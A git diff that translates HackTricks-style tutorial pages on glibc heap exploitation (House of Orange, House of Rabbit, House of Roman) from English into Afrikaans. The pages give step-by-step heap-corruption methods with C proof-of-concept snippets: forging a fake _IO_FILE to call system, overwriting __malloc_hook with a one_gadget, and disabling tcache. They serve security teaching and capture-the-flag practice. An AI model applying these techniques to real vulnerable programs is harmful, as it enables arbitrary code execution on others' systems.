-- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
- - The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26)
-- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
+- Die kanonieke uitvoerbare voorbeeld teiken glibc 2.23.[[1]](#references)
+- Dieselfde voorbeeld is beskikbaar met uitgebreide inline-kommentaar.[[2]](#references)
+- Hierdie `_IO_list_all`/abort-pad is ontwrig deur glibc-veranderinge wat vir glibc 2.26 toegepas is, dus moet jy dit met 'n ouer ooreenstemmende libc reproduseer eerder as om aan te neem dat dit op huidige stelsels werk.[[3]](#references)
-### Goal
+### Doel
-- Abuse `malloc_printerr` function
+- Misbruik die `malloc_printerr`-funksie
-### Requirements
+### Vereistes
-- Overwrite the top chunk size
-- Libc and heap leaks
+- Oorskryf die top chunk-grootte
+- Libc- en heap-leaks
-### Background
+### Agtergrond
-Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
+Die volgende agtergrond en velduitleg stem ooreen met die glibc 2.23-voorbeeld.[[1]](#references) [[2]](#references)
-Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\
-This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\
-Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution
+Die punt is dat, in ouer weergawes van libc, wanneer die `malloc_printerr`-funksie geroep is, dit deur 'n lys van `_IO_FILE`-strukture wat in `_IO_list_all` gestoor is, sou **itereer**, en eintlik 'n instruksiewyser in daardie struktuur sou **uitvoer**.\
+Hierdie aanval sal 'n **vals `_IO_FILE`-struktuur** vervals wat ons na **`_IO_list_all`** sal skryf, en veroorsaak dat `malloc_printerr` loop.\
+Dan sal dit **enige adres uitvoer** wat ons in die **`_IO_FILE`**-strukture se sprongtabel gestoor het, en sal ons kode-uitvoering kry[[2]](#references)
-### Attack
+### Aanval
-The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set.
+Die aanval begin deur die **top chunk** na die **unsorted bin** te verskuif. In die glibc 2.23-voorbeeld word dit bereik deur `malloc` te roep met 'n versoek wat groter as die beskadigde top chunk-grootte is, maar onder die effektiewe **`mp_.mmap_threshold`**, wat andersins 'n `mmap`-allokasie sou kies. Die klassieke deurloop gebruik die historiese 128 KiB-drempel as sy beplanningswaarde, maar glibc kan hierdie drempel dinamies aanpas, dus moet jy die teiken inspekteer eerder as om 128 KiB as universeel te beskou. Wanneer jy die top-grootte korrupteer, verseker dat **top chunk-adres + grootte** die vereiste bladsygrens bereik en dat die **`PREV_INUSE`**-bis gestel bly.[[1]](#references)
-To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin.
+Om die top chunk binne die unsorted bin te kry, allokeer 'n chunk om die top chunk te skep, verander die top chunk-grootte (met 'n overflow in die geallokeerde chunk) sodat **top chunk + grootte** bladsybelyn is met die **prev_inuse**-bis gestel. Allokeer dan 'n chunk wat groter as die nuwe top chunk-grootte is. Let daarop dat `free` nooit geroep word om die top chunk in die unsorted bin te kry nie.[[1]](#references) [[4]](#references)
-The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), it’s possible to leak libc addresses from it and get the address of **\_IO_list_all**.
+Die ou top chunk is nou in die unsorted bin. As ons aanvaar dat ons data daarin kan lees (moontlik weens 'n kwesbaarheid wat ook die overflow veroorsaak het), is dit moontlik om libc-adresse daaruit te lek en die adres van **\_IO_list_all** te kry.
-An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**.
+Vir die unsorted-bin-skryf, stel die ou top chunk se `bk`-wyser op `_IO_list_all - 0x10`. Tydens verwydering voer glibc die ekwivalent van `victim->bk->fd = unsorted_chunks(av)` uit, dus word die unsorted-bin-wyser in **`_IO_list_all`** geskryf.[[1]](#references) [[2]](#references)
-The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes:
+Die volgende stap behels dat die grootte van die ou top chunk verklein word om in 'n small bin te pas, spesifiek deur sy grootte op **0x61** te stel. Dit dien twee doeleindes:
-1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack.
-2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`.
+1. **Invoeging in Small Bin 4**: Wanneer `malloc` deur die unsorted bin skandeer en hierdie chunk sien, sal dit probeer om dit weens sy klein grootte in small bin 4 in te voeg. Dit veroorsaak dat die chunk aan die kop van die small bin 4-lys beland, wat die ligging van die FD-wyser van die chunk van **`_IO_list_all`** is, aangesien ons 'n nabye adres in **`_IO_list_all`** via die unsorted bin attack geskryf het.
+2. **Aktivering van 'n Malloc Check**: Hierdie chunk-grootte-manipulasie sal veroorsaak dat `malloc` interne kontroles uitvoer. Wanneer dit die grootte van die vals forward chunk nagaan, wat nul sal wees, aktiveer dit 'n fout en roep `malloc_printerr` aan.
-The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed.
+Die manipulasie van die small bin gee beheer oor die chunk se forward-wyser. Laat die ou top chunk met 'n vals **`_IO_FILE`**-struktuur oorvleuel waarvan die eerste grepe na die opdrag wys (byvoorbeeld, `/bin/sh`). Stel `_IO_write_base` en `_IO_write_ptr` sodat die libc-kontroles slaag, en plaas 'n beheerde sprongtabel-wyser sodat die relevante virtuele oproep na `system` (of 'n ander nuttige teiken) oplos. Hierdie offsets en kontroles moet by die teiken-libc-bou pas.[[1]](#references) [[2]](#references)
-To summarize the remaining part of the technique:
+Die aanval kulmineer wanneer 'n oproep na `malloc` die uitvoering van die kode deur die gemanipuleerde **\_IO_FILE**-struktuur aktiveer. Dit laat effektief arbitrêre kode-uitvoering toe, wat tipies daartoe lei dat 'n shell voortgebring word of dat 'n ander kwaadwillige payload uitgevoer word.
-- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin.
-- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow.
+**Opsomming van die aanval:**
-The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed.
+1. **Stel die top chunk op**: Allokeer 'n chunk en wysig die top chunk-grootte.
+2. **Dwing die top chunk in die unsorted bin in**: Allokeer 'n groter chunk.
+3. **Lek libc-adresse**: Gebruik die kwesbaarheid om uit die unsorted bin te lees.
+4. **Voer die unsorted bin attack uit**: Skryf na **\_IO_list_all** met behulp van 'n overflow.
+5. **Verklein die ou top chunk**: Pas sy grootte aan om in 'n small bin te pas.
+6. **Stel 'n vals \_IO_FILE-struktuur op**: Vervals 'n vals lêerstruktuur om beheer oor die control flow te verkry.
+7. **Aktiveer kode-uitvoering**: Allokeer 'n chunk om die aanval uit te voer en arbitrêre kode te laat loop.
-Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands.
-
-The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed.
-
-**Summary of the Attack:**
-
-1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size.
-2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk.
-3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin.
-4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow.
-5. **Shrink the old top chunk**: Adjust its size to fit into a small bin.
-6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow.
-7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code.
-
-This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities.
+Hierdie benadering buit heap-bestuurmeganismes, libc-inligtingsleaks en heap-overflows uit om kode-uitvoering te verkry sonder om `free` direk te roep. Deur die vals **\_IO_FILE**-struktuur noukeurig te vorm en dit op die regte plek te plaas, kan die aanval die control flow tydens standaardgeheue-allokasie-bewerkings kaap. Dit maak die uitvoering van arbitrêre kode moontlik, wat potensieel tot 'n shell of ander kwaadwillige aktiwiteite kan lei.
## References
-- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/)
-- [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
-
+- [1] [how2heap - glibc 2.23 `house_of_orange.c`](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
+- [2] [House of Orange-uitbuitingsdeurloop - guyinatuxedo](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
+- [3] [glibc `abort.c`-diff wat abort-stroomhantering verander](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0)
+- [4] [House of Orange - CTF Wiki](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-rabbit.md b/src/binary-exploitation/libc-heap/house-of-rabbit.md
index 230b7c63e87..e69392422e4 100644
--- a/src/binary-exploitation/libc-heap/house-of-rabbit.md
+++ b/src/binary-exploitation/libc-heap/house-of-rabbit.md
@@ -2,110 +2,100 @@
{{#include ../../banners/hacktricks-training.md}}
-### Requirements
+> [!CAUTION]
+> House of Rabbit beskryf historiese glibc allocator-gedrag. Die gepubliseerde PoCs teiken ouer allocator-uitlegte; tcache, safe-linking en nuwer integriteitskontroles beteken dat die voorbeelde nie weergawe-onafhanklik is nie. Reproduseer hulle met die ooreenstemmende libc voordat jy die primitive aanpas.[[1]](#references)[[2]](#references)[[3]](#references)
-1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size.
-2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks.
+### Vereistes
-### Goals
+1. **Ability to modify fast bin fd pointer or size**: Dit beteken dat jy die forward pointer van 'n chunk in die fastbin of die grootte daarvan kan verander.
+2. **Ability to trigger `malloc_consolidate`**: Dit kan gedoen word deur óf 'n groot chunk te allokeer óf die top chunk saam te voeg, wat die heap dwing om chunks te konsolideer.
-1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations.
-2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations.
+### Doelwitte
-## Steps of the attack
+1. **Create overlapping chunks**: Om een chunk met 'n ander te laat oorvleuel, wat verdere heap-manipulasies moontlik maak.
+2. **Forge fake chunks**: Om die allocator te mislei om 'n fake chunk as 'n wettige chunk tydens heap-bewerkings te behandel.
-### POC 1: Modify the size of a fast bin chunk
+## Stappe van die aanval
-**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk.
+### POC 1: Modify the size of a fast bin chunk
-- **Step 1: Allocate Chunks**
+**Doelwit**: Skep 'n oorvleuelende chunk deur die grootte van 'n fastbin chunk te manipuleer.[[1]](#references)[[2]](#references)
+- **Stap 1: Allocate Chunks**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
```
+Ons allokeer twee chunks van 0x40 grepe elk. Hierdie chunks sal in die fast bin list geplaas word sodra hulle vrygestel is.
-We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed.
-
-- **Step 2: Free Chunks**
-
+- **Stap 2: Maak Chunks vry**
```cpp
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
```
+Ons maak beide chunks vry en voeg hulle by die fastbin-lys.
-We free both chunks, adding them to the fastbin list.
-
-- **Step 3: Modify Chunk Size**
-
+- **Stap 3: Wysig Chunk-grootte**
```cpp
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
```
+Ons verander die size metadata van `chunk1` na 0xa1. Dit is 'n deurslaggewende stap om die allocator tydens consolidation te mislei.
-We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation.
-
-- **Step 4: Trigger `malloc_consolidate`**
-
+- **Stap 4: Trigger `malloc_consolidate`**
```cpp
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
```
+Deur ’n groot chunk te allokeer, word die `malloc_consolidate`-funksie geaktiveer, wat klein chunks in die fast bin saamsmelt. Die gemanipuleerde grootte van `chunk1` veroorsaak dat dit met `chunk2` oorvleuel.
-Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`.
-
-After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation.
+Ná konsolidasie oorvleuel `chunk1` met `chunk2`, wat verdere exploitation moontlik maak.
### POC 2: Modify the `fd` pointer
-**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer.
-
-- **Step 1: Allocate Chunks**
+**Doelwit**: Skep ’n fake chunk deur die fast bin `fd` pointer te manipuleer.[[1]](#references)[[2]](#references)
+- **Stap 1: Allocate Chunks**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
```
+**Verduideliking**: Ons allokeer twee chunks, een kleiner en een groter, om die heap vir die fake chunk op te stel.
-**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk.
-
-- **Step 2: Create fake chunk**
-
+- **Stap 2: Skep fake chunk**
```cpp
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
```
+Ons skryf vals chunk-metadata in `chunk2` om kleiner chunks te simuleer.
-We write fake chunk metadata into `chunk2` to simulate smaller chunks.
-
-- **Step 3: Free `chunk1`**
-
+- **Stap 3: Free `chunk1`**
```cpp
free(chunk1); // Frees the chunk at 0x602000
```
+**Verduideliking**: Ons `free` `chunk1`, wat dit by die fastbin-lys voeg.
-**Explanation**: We free `chunk1`, adding it to the fastbin list.
-
-- **Step 4: Modify `fd` of `chunk1`**
-
+- **Stap 4: Wysig `fd` van `chunk1`**
```cpp
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
```
+**Verduideliking**: Ons verander die forward pointer (`fd`) van `chunk1` sodat dit na ons fake chunk binne `chunk2` wys.
-**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`.
-
-- **Step 5: Trigger `malloc_consolidate`**
-
+- **Stap 5: Sneller `malloc_consolidate`**
```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation
```
+Deur weer ’n groot chunk te allokeer, word `malloc_consolidate` weer geaktiveer, wat die fake chunk verwerk.
-Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk.
+Die fake chunk word deel van die fastbin-lys, wat dit ’n geldige chunk vir verdere exploitation maak.
-The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation.
+### Opsomming
-### Summary
+Die **House of Rabbit**-tegniek behels óf die wysiging van die grootte van ’n fastbin chunk om overlapping chunks te skep, óf die manipulering van die `fd`-pointer om fake chunks te skep. Dit stel aanvallers in staat om geldige chunks in die heap te vervals, wat verskeie vorme van exploitation moontlik maak. Deur hierdie stappe te verstaan en te oefen, sal jy jou heap-exploitationvaardighede verbeter.
-The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills.
+## References
+- [1] [House_of_Rabbit - shift-crops (oorspronklike tegniek/PoC)](https://github.com/shift-crops/House_of_Rabbit)
+- [2] [House of Rabbit - CTF Wiki EN](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_rabbit/)
+- [3] [how2heap — allocator-tegnieke volgens glibc-weergawe](https://github.com/shellphish/how2heap)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md
index a3deaf93911..c5e45e2e1cd 100644
--- a/src/binary-exploitation/libc-heap/house-of-roman.md
+++ b/src/binary-exploitation/libc-heap/house-of-roman.md
@@ -2,87 +2,88 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
+House of Roman is 'n leakless heap-exploitation-tegniek wat 'n fake fastbin chain, 'n unsorted-bin write en partial pointer overwrites kombineer. Die oorspronklike `__malloc_hook`-chain teiken ou glibc-weergawes; latere unsorted-bin-integriteitskontroles en die verwydering van hooks verbreek die aannames daarvan.[[1]](#references)[[2]](#references)[[6]](#references)[[7]](#references)
+
+### Toepaslikheid in 2026
+
+- **glibc window:** Die how2heap PoC teiken glibc 2.23 en rapporteer toetse tot en met 2.25. Die tegniek kan aangepas word vir die vroeë-tcache glibc 2.26–2.27-era slegs wanneer tcache nie die relevante groottes verbruik nie. Die bykomende unsorted-bin-integriteitskontroles wat in glibc 2.28 toegepas is, maak die klassieke write ongeldig, en glibc 2.34 het die aktiewe malloc hooks verwyder. Gebruik die oorspronklike chain slegs met 'n geverifieerde ou libc of 'n custom/CTF-build wat die aannames daarvan behou.[[2]](#references)[[6]](#references)[[7]](#references)
+- **Tcache-era (≥2.26):** Tcache sal jou 0x70-allokasies verbruik en die fastbin/unsorted-primitives stop. Deaktiveer dit (`setenv("GLIBC_TUNABLES","glibc.malloc.tcache_count=0",1);`) **voor** enige allokasie, of vul elke 0x70-tcache-bin met 7 frees om dit te dreineer.
+- **Safe-Linking:** Safe-Linking beskerm fastbin/tcache next pointers in glibc 2.32 en later. Hoewel die klassieke chain reeds deur vroeëre unsorted-bin-hardening gestop word, moet enige poging om 'n beskermde fastbin-pointer te port ook die korrekte Safe-Linking-encoding produseer; 'n raw partial overwrite is nie outomaties geldig nie.
### Code
-- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
+- Jy kan 'n voorbeeld vind in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[[2]](#references)
-### Goal
+### Doel
-- RCE by abusing relative pointers
+- RCE deur relative pointers te misbruik
-### Requirements
+### Vereistes
-- Edit fastbin and unsorted bin pointers
-- 12 bits of randomness must be brute forced (0.02% chance) of working
+- Wysig fastbin- en unsorted-bin-pointers
+- Die finale partial overwrite mag vereis dat 12 bits deur brute force gevind word: een poging slaag met 'n waarskynlikheid van `1/4096`, ongeveer **0.024%**.[[2]](#references)
-## Attack Steps
+## Aanvalstappe
-### Part 1: Fastbin Chunk points to \_\_malloc_hook
+### Deel 1: Fastbin Chunk wys na \_\_malloc_hook
-Create several chunks:
+Skep verskeie chunks soos beskryf in die oorspronklike implementerings:[[2]](#references)[[3]](#references)
-- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value.
-- `chunk2` (0x80, offset 0x70): For good alignment
+- `fastbin_victim` (0x60, offset 0): UAF-chunk wat later gebruik word om die heap-pointer te wysig sodat dit na die LibC-waarde wys.
+- `chunk2` (0x80, offset 0x70): Vir goeie alignment
- `main_arena_use` (0x80, offset 0x100)
-- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk
-
-Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers.
+- `relative_offset_heap` (0x60, offset 0x190): relative offset op die 'main_arena_use'-chunk
-Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`.
+Doen dan `free(main_arena_use)`, wat hierdie chunk in die unsorted list sal plaas en 'n pointer na `main_arena + 0x68` in beide die `fd`- en `bk`-pointers sal plaas.
-Then `relative_offset_heap` and `fastbin_victim` are freed.
+Daarna word 'n nuwe chunk `fake_libc_chunk(0x60)` geallokeer, omdat dit die pointers na `main_arena + 0x68` in `fd` en `bk` sal bevat.
+Dan word `relative_offset_heap` en `fastbin_victim` gefree.
```c
/*
Current heap layout:
- 0x0: fastbin_victim - size 0x70
- 0x70: alignment_filler - size 0x90
- 0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
- 0x170: leftover_main - size 0x20
- 0x190: relative_offset_heap - size 0x70
-
- bin layout:
- fastbin: fastbin_victim -> relative_offset_heap
- unsorted: leftover_main
+0x0: fastbin_victim - size 0x70
+0x70: alignment_filler - size 0x90
+0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
+0x170: leftover_main - size 0x20
+0x190: relative_offset_heap - size 0x70
+
+bin layout:
+fastbin: fastbin_victim -> relative_offset_heap
+unsorted: leftover_main
*/
```
+- `fastbin_victim` het `n `fd` wat na `relative_offset_heap` wys
+- `relative_offset_heap` is `n offset van die afstand vanaf `fake_libc_chunk`, wat `n pointer na `main_arena + 0x68` bevat
+- Deur die laaste byte van `fastbin_victim.fd` te verander, laat dit `fastbin_victim` na `main_arena + 0x68` wys.
-- `fastbin_victim` has a `fd` pointing to `relative_offset_heap`
-- `relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68`
-- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68`
+Vir die vorige aksies moet die aanvaller in staat wees om die fd pointer van `fastbin_victim` te wysig.
-For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`.
+Dan is `main_arena + 0x68` nie besonder interessant nie, so kom ons wysig dit sodat die pointer na **`__malloc_hook`** wys.
-Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**.
+Let daarop dat `__memalign_hook` gewoonlik met `0x7f` begin en nulle daarvoor het; dit is dus moontlik om dit as `n waarde in die `0x70` fast bin te fake. Omdat die laaste 4 bits van die adres **random** is, is daar `2^4=16` moontlikhede vir die waarde om te eindig waar ons belangstel. Daarom word `n BF attack hier uitgevoer sodat die chunk soos volg eindig: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
-Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
-
-(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works).
-
-Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`**
+(Vir meer inligting oor die res van die bytes, kyk na die verduideliking in die [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).[[2]](#references) As die brute force misluk, crash die program eenvoudig (restart totdat dit werk).
+Dan word 2 mallocs uitgevoer om die 2 aanvanklike fast bin chunks te verwyder, en `n derde een word geallokeer om `n chunk in **`__malloc_hook`** te kry.
```c
malloc(0x60);
malloc(0x60);
uint8_t* malloc_hook_chunk = malloc(0x60);
```
-
### Part 2: Unsorted_bin attack
-For more info you can check:
+Vir meer inligting kan jy kyk na:
{{#ref}}
unsorted-bin-attack.md
{{#endref}}
-But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`.
-
-For this we start getting a chunk and putting it into the **unsorted bin**:
+Maar basies laat dit jou toe om `main_arena + 0x68` te skryf na enige ligging wat in `chunk->bk` gespesifiseer word. Vir die attack kies ons `__malloc_hook`. Nadat ons dit oorgeskryf het, sal ons ’n relatiewe overwrite gebruik om na ’n `one_gadget` te wys.
+Hiervoor begin ons deur ’n chunk te kry en dit in die **unsorted bin** te plaas:
```c
uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // Don't want to consolidate
@@ -91,28 +92,36 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
-
-Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously).
+Gebruik 'n UAF in hierdie chunk om `unsorted_bin_ptr->bk` na die adres van `__malloc_hook` te laat wys (wat voorheen brute-forced is).
> [!CAUTION]
-> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.**
+> Let daarop dat hierdie aanval die unsorted bin korrupteer (dus ook small en large). Daarom kan ons nou slegs **allocations uit die fast bin gebruik** ('n meer komplekse program kan ander allocations uitvoer en crash), en om dit te trigger, moet ons **dieselfde grootte alloc, anders sal die program crash.**
-So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`**
+Om dus die skryf van `main_arena + 0x68` na `__malloc_hook` te trigger, hoef ons, nadat ons `__malloc_hook` in `unsorted_bin_ptr->bk` gestel het, net die volgende te doen: **`malloc(0x80)`**
-### Step 3: Set \_\_malloc_hook to system
+### Stap 3: Stel \_\_malloc_hook op system
-In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here.
+In die eerste stap het ons 'n chunk beheer wat `__malloc_hook` bevat (in die veranderlike `malloc_hook_chunk`), en in die tweede stap het ons daarin daarin geslaag om `main_arena + 0x68` te skryf.
-Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**.
+Nou misbruik ons 'n partial overwrite in `malloc_hook_chunk` om die libc-adres wat ons daar geskryf het (`main_arena + 0x68`) te gebruik om **na 'n `one_gadget`-adres te wys**.
-Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
+Hier is dit nodig om **12 bisse randomness te brute-force** (meer inligting in die [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).[[2]](#references)
